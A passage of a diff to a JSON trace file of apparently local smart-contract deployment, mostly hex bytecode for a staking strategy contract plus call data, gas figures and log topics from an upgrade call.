8616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a264697066735822122021b62fe5b5bce3c7900ce940fa79726154511331bde65b6124359a94d004524164736f6c634300081c0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9", - "output": "0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c990911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a264697066735822122021b62fe5b5bce3c7900ce940fa79726154511331bde65b6124359a94d004524164736f6c634300081c0033", - "gas_used": 1447443, - "gas_limit": 1931973, - "status": "Return", + "data": "0x4f1ef286000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "output": "0x", + "gas_used": 13345, + "gas_limit": 29221, + "status": "Stop", "steps": [], "decoded": { "label": null, @@ -5183,9 +5385,10 @@ { "raw_log": { "topics": [ - "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" + "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", + "0x000000000000000000000000959922be3caee4b8cd9a407cc3ac1c251c2007b1" ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" + "data": "0x" }, "decoded": { "name": null, @@ -5197,61 +5400,32 @@ "ordering": [ { "Log": 0 + }, + { + "Call": 0 } ] - } - ], - "exit": "Return", - "out": "0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c990911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b03831684836115145